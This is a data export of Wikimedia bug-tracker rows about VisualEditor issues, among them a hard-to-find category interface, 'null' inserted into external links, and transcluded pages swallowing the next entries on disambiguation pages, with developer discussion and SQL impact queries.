+231669,VisualEditor: Category interface is hard to find,"We now split this out into the page settings menu, so closing as INVALID given the evolution of the interface.",,,1385386774,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+231664,VisualEditor: Category interface is hard to find,"So hard to find that I assumed it wasn't implemented yet. Now I've seen it.
+
+Why another icon on the top and not direct manipulation at the bottom? Show the categories at the bottom of the page and allow adding / editing / deleting from there. More or less the way HotCat got us used, if possible with a cleaner UI.",,,1374229995,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,1,1,0,0
+231659,VisualEditor: Category interface is hard to find,"See also:
+https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Categories
+and
+https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/Smaller_popup_dialog_for_Category_labeling_on_pages?",,,1374010319,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1
+231655,VisualEditor: Category interface is hard to find,*** Bug 51452 has been marked as a duplicate of this bug. ***,,,1374010099,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-maorft5oyfrh3mtkgplv,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53134,VisualEditor: Intermittently unable to open page settings after deleting and then adding a stub template,"English Wikipedia user PamD reports that sometimes after replacing one stub template with another she is unable to open the page settings dialog unless she saves and then reedits the page.
+
+I have done a small amount of testing and can confirm that the following steps will reproduce the bug, but only intermittently:
+
+1. Open a page in VE that has one or more stub templates (e.g. any article in [[Category:England stubs]])
+2. Delete the/one stub template by selecting it and then pressing the delete key
+3. Launch the transclusion tool from the toolbar
+4. Enter a different stub template (e.g. Wales-stub), select it from the list and then click ""Add template""
+5. Add the template to the page by clicking the ""Apply changes"" button. In my testing I never entered any parameters or options, PamD has not specified whether she does or not.
+6. Click the ""page settings"" button on the tool bar.
+
+If the dialog opens, choose a different article and try again. In my testing it failed to open just under 50% of the time, PamD implies it happens less frequently to her but doesn't specify. 
+
+A bit more detail is at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563709233#Can.27t_open_.22Page_settings.22_after_changing_stub_template
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373485620,1397677941.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-zt2vp3ws2fthuoczhtcs,task_description,declined,True,c1,3,False,False,False,1,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+254897,VisualEditor: Intermittently unable to open page settings after deleting and then adding a stub template,I can't reproduce this now; provisionally marking as WORKSFORME.,,,1397677941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zt2vp3ws2fthuoczhtcs,task_subcomment,,True,c1,3,True,,,41,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0
+254895,VisualEditor: Intermittently unable to open page settings after deleting and then adding a stub template,"I've just tried reproducing this again, and it is still happening and still only intermittently (2 of 4 articles I tried)",,,1377444558,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-zt2vp3ws2fthuoczhtcs,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+53132,VisualEditor: Auto-generated (bare) external links converted to external links to target null,"VisualEditor appears to be inserting ""null"" into external links occasionally.
+
+Examples:
+
+https://en.wikipedia.org/w/index.php?title=Carrie_(musical)&curid=7695755&diff=563576490&oldid=563235599
+
+at [[Ithaca College]] in [[Ithaca, New York]] by the Macabre Theatre Ensemble,<ref>[null http:///www.icmacabre.blogspot.com]</ref>
+
+----
+
+https://en.wikipedia.org/w/index.php?title=Embarcadero_Delphi&curid=349208&diff=563574811&oldid=561383018
+
+Delphi has large communities on [[Usenet]] and the [[World Wide Web|web]] (e.g. [null news://newsgroups.codegear.com)] which
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373484720,1385382685.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-zvpdqkuywxev3x3oy6sk,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,1
+254811,VisualEditor: Auto-generated (bare) external links converted to external links to target null,"This was an icky bug that we fixed some time ago; sorry for the bug, and for the slowness of triage.",,,1385382685,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zvpdqkuywxev3x3oy6sk,task_subcomment,,True,c1,3,True,,,21,,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+53130,VisualEditor: Removing template & Adding content breaks editor,"Copied from En Wikipedia:
+
+***
+When editing a template, when I click remove template, and then without closing the dialog, click add -> content and enter some text, the template is not removed and the editor hangs on saving and reviewing changes. --WS (talk) 11:47, 9 July 2013 (UTC)
+
+***
+Tested with the same result.
+
+Maggie
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373481780,1385387104.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-fc6sg7pcqin3kmtv4x57,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254719,VisualEditor: Removing template & Adding content breaks editor,"Bug 51340 is essentially the same issue, and both are now fixed I believe.",,,1385387104,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fc6sg7pcqin3kmtv4x57,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+53125,"VisualEditor: Review changes should show the edit summary, if one has been provided.","Some users add [[links]] to edit summaries, which can be really helpful; unfortunately as markup it needs checking to ensure that it isn't borked. Accordingly, would it be possible to render the edit summary in the 'review changes' pane, if one has been provided?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1373479140,1373480869.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bypr3rbgyguddodinker,task_description,resolved,True,c1,3,False,False,True,1,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,0,1
+254543,"VisualEditor: Review changes should show the edit summary, if one has been provided.","(In reply to comment #1)
+> I think this duplicates bug 42139
+
+Yeah; merging.
+
+*** This bug has been marked as a duplicate of bug 42139 ***",,,1373480869,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bypr3rbgyguddodinker,task_subcomment,,True,c1,3,True,,,1,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+254537,"VisualEditor: Review changes should show the edit summary, if one has been provided.",I think this duplicates bug 42139,,,1373479854,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bypr3rbgyguddodinker,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+53119,Transcluded pages quasi-template eats into subsequent entry,"De.WP often uses ""{{:Target page}} in its disambiguation pages and VE produces two problems: 1) The subsequent non-template disambiguation entry in the list gets sucked into the content of the previous template-entry; 2) the template blocks the option to edit the entries surrounding it. See:
+
+http://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563687401#Transcluded_pages
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1373474880,1417482772.0,PHID-USER-wswkm7jrcwes3tc7o34k,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_description,duplicate,True,c1,3,False,False,False,1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+254294,Transcluded pages quasi-template eats into subsequent entry,Opened Parsoid bug 53368 for the issues described in comment #12 above.,,,1377549211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+254289,Transcluded pages quasi-template eats into subsequent entry,"A deeper investigation revealed additional issues:
+
+1) Completely templated list items currently always break up lists in Parsoid. Test case: echo -ne '*foo\n{{:User:GWicke/li|bar}}\n*baz' | node parse
+
+2) This covers up another bug in the template encapsulation code. Template-affected lists are only marked as such because the list handler starts a new list for each templated list item. This (correctly) places the meta element we use to track template-affected content outside the <ul> triggered by the template-generated list item. Once 1) is fixed, we will have to fix this up with a special rule in the encapsulation code that marks the parent list as template-affected if one of its wikitext-syntax items is template-generated. The meta element will end up between list items, so a propagation rule should be sufficient.
+
+None of this will do much for the ease of editing. I realize that fixing up a lot of pages to use explicit bullets in the page will create a lot of work for bots, but at the same time I don't see a sane alternative that provides a good editing experience.",,,1377219256,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,7,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+254285,Transcluded pages quasi-template eats into subsequent entry,"(In reply to comment #8)
+> That said, there is a possibility that for lists, this problem is solvable by
+> marking a series of adjacent list nodes as template generated -- Parsoid
+> already has the mechanism of marking a forest of adjacent DOM nodes as
+> template-generated instead of marking just a root-node. 
+
+The problem is that the list is also template-affected, and needs to be marked as such. A change in transclusion output (say, from *foo to #foo) will change the list structure significantly, so it is not safe to mark the list items only.
+
+The example page exposes a different issue though, which you mention as well: The comments between transclusions (which probably end up on their own line after expansion) break up the list in Parsoid, but don't do so in PHP (bug 52762). This is not surprising as the PHP parser strips those comments before doing anything else, but still something we could improve by not breaking up the list.
+
+Sadly, the effect of this will be that the entire list will be template-affected.
+
+This problem would not be there if the bullet for the list item was not templated:
+
+* {{:Christian Delius}}
+* [[Christina Rau]], geb. Delius (* 1956), deutsche Politologin
+
+In this case we know that the first list item will always create an unordered list, no matter what the transclusion generates (ignoring unbalanced transclusions for now). Each item will be editable separately without being sucked into a big template-affected block.",,,1377216081,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,7,,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,1,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+254282,Transcluded pages quasi-template eats into subsequent entry,"I personally am not going to apply that metric to this page -- for example, table tags cannot be edited in VE, extension source cannot be edited in VE, and wikitext that shows up in between multi-part templates cannot be edited in VE.  I think this particular issue falls in the same category.
+
+I do agree that the experience is sub-optimal.  But given that it does not break wikitext, I mean no disrespect to your opinion, but I disagree with you that we ought to therefore make the entire page uneditable.  As to your suggestion of providing a generic warning for uneditable pieces in VE, I'll James address that part.
+
+But, as I noted above, at least for dab pages using list items, this problem might be solvable if we can figure out why transclusions are splitting existing lists at the transclusion point.",,,1376663796,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+254278,Transcluded pages quasi-template eats into subsequent entry,"Please read the bug report and reproduce. The current behaviour is sub-optimal. Perhaps its not a high priority as it doesnt break the wiki-text, but that doesn't mean it isnt contrary to user expectations.
+Text on the page (in the wiki text) should be editable on the page. If the VE cant edit all the wikitext on the page, the page is not yet functional in VE, and only SE should be offered to the user (or VE should tell the user to use SE to edit those bits).",,,1376663213,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,6,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+254274,Transcluded pages quasi-template eats into subsequent entry,"That said, there is a possibility that for lists, this problem is solvable by marking a series of adjacent list nodes as template generated -- Parsoid already has the mechanism of marking a forest of adjacent DOM nodes as template-generated instead of marking just a root-node.  I suspect the reason this is not already happening is because of an (un)related list parsing bug.  Bug 49974, now merged into Bug 52762.  Once that is resolved, this problem will be fixed for the specific example pages on this page.  And as long as most of the disambiguation pages use this pattern (list items), it should be okay for them.",,,1376662900,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+254268,Transcluded pages quasi-template eats into subsequent entry,"(In reply to comment #5)
+> The bug still exists. VE should handle this differently: mark the whole page
+> as
+> not compatible with VE if you must.
+
+John: can you clarify what could be done here? 
+
+As far as I can tell, there is no broken HTML, and neither is there any corruption on edit and save. The only problem is that top-level page content is sucked into transclusion content and is not editable. In the current scenario, at least some part of the page is editable in VE. How would marking the whole page not editable solve this issue?",,,1376661657,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,1,1
+254263,Transcluded pages quasi-template eats into subsequent entry,*** Bug 52814 has been marked as a duplicate of this bug. ***,,,1376639350,,PHID-USER-3uecblbxq24ycewm2cog,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+254258,Transcluded pages quasi-template eats into subsequent entry,The bug still exists. VE should handle this differently: mark the whole page as not compatible with VE if you must.,,,1376620889,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+254253,Transcluded pages quasi-template eats into subsequent entry,"As James indicates in https://bugzilla.wikimedia.org/show_bug.cgi?id=51119#c2, there is really not much we can do about this. The implicit <ul> is started by a template, so the entire list needs to be marked as template-affected even if some items in it are not templated.
+
+Since I don't see a good way to improve this situation in Parsoid, I'm going to close this bug as wontfix for now. Please reopen this bug if you have an idea on how this could be handled better.",,,1376618254,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,6,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+463290,Transcluded pages quasi-template eats into subsequent entry,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this: https://en.wikipedia.org/wiki/Howes?veaction=edit
+
+Some impact analysis for the next set of wikis in line for VE deployment:
+
+* dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
+  - not all of those suffer from the second issue raised; sometimes they have whitespace between transclusion and the next item
+  --  e.g. https://de.wikipedia.org/wiki/Kalam?veaction=edit
+* frwp,hewp,nlwp: between 1&4 pages transcluding mainspace
+* svwp: 250, all dab pages
+* ruwp: 1616, all dab pages - i.e. 0.15% of all content pages
+
+Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
+https://ru.wikipedia.org/wiki/%D0%9B%D0%BB%D0%BE%D0%B9%D0%B4?veaction=edit
+https://ru.wikipedia.org/wiki/Lloyd%E2%80%99s
+
+ruwp uses noinclude instead of onlyinclude.
+
+My SLQ on dewp:
+```
+select count(*)
+from   templatelinks tl inner join page p on (tl.tl_from = p.page_id)
+where  tl_namespace = 0
+and    page_namespace = 0
+and    tl_from in 
+  (select cl_from from categorylinks where cl_to =  'Begriffsklärung')
+;
+```",,,1432542616,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,99,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+463286,Transcluded pages quasi-template eats into subsequent entry,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this:
+   e.g. https://en.wikipedia.org/wiki/Howes?veaction=edit
+
+Some impact analysis for the next set of wikis in line for VE deployment:
+
+* dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
+  - not all of those suffer from the second issue raised; sometimes they have whitespace between transclusion and the next item
+  --  e.g. https://de.wikipedia.org/wiki/Kalam?veaction=edit
+* frwp,hewp,nlwp: between 1&4 pages transcluding mainspace
+* svwp: 250, all dab pages
+* ruwp: 1616, all dab pages - i.e. 0.15% of all content pages
+
+Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
+https://ru.wikipedia.org/wiki/%D0%9B%D0%BB%D0%BE%D0%B9%D0%B4?veaction=edit
+https://ru.wikipedia.org/wiki/Lloyd%E2%80%99s
+
+ruwp uses noinclude instead of onlyinclude.
+
+My SLQ on dewp:
+```
+select count(*)
+from   templatelinks tl inner join page p on (tl.tl_from = p.page_id)
+where  tl_namespace = 0
+and    page_namespace = 0
+and    tl_from in 
+  (select cl_from from categorylinks where cl_to =  'Begriffsklärung')
+;
+```",,,1432542425,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,99,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+254250,Transcluded pages quasi-template eats into subsequent entry,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this:
+   e.g. https://en.wikipedia.org/wiki/Howes?veaction=edit
+
+Some impact analysis for the next set of wikis in line for VE deployment:
+
+dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
+ - not all of those suffer from the second issue raised; 
+   sometimes they have whitespace between transclusion and the next item
+   e.g. https://de.wikipedia.org/wiki/Kalam?veaction=edit
+
+frwp,hewp,nlwp: between 1&4 pages transcluding mainspace
+
+svwp: 250, all dab pages
+
+ruwp: 1616, all dab pages - i.e. 0.15% of all content pages
+  Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
+https://ru.wikipedia.org/wiki/%D0%9B%D0%BB%D0%BE%D0%B9%D0%B4?veaction=edit
+https://ru.wikipedia.org/wiki/Lloyd%E2%80%99s
+
+ruwp uses noinclude instead of onlyinclude.
+
+My SLQ on dewp:
+select count(*)
+from   templatelinks tl inner join page p on (tl.tl_from = p.page_id)
+where  tl_namespace = 0
+and    page_namespace = 0
+and    tl_from in 
+  (select cl_from from categorylinks where cl_to =  'Begriffsklärung')
+;",,,1374649444,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+254246,Transcluded pages quasi-template eats into subsequent entry,"Relevant wikitext excerpt:
+
+| {{:Christian Delius}}
+| <!-- Änderungen bitte dort vornehmen, siehe unterhalb des Bearbeitungsfensters -->
+| * [[Christina Rau]], geb. Delius (* 1956), deutsche Politologin
+
+Yeah, this is because the HTML comment and <li> in the wikitext below the template insert themselves into the implicit <ul> that the template creates (and so get marked as part of the same ""MediaWiki transclusions"" generated content block as the template by Parsoid.
+
+I'm not sure what Parsoid could do to ""fix"" this, really. It's correct parsing of broken-by-design wikitext (which doesn't seem obvious if you're not parsing it).",,,1374645296,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,1,1,0,0,1
+254243,Transcluded pages quasi-template eats into subsequent entry,"The cited example is
+https://de.wikipedia.org/wiki/Delius?veaction=edit
+
+The entry 'Christina Rau' is not editable, as VE believes it is part of the 'template' {{:Christian Delius}}
+
+Possibly because the onlyinclude on
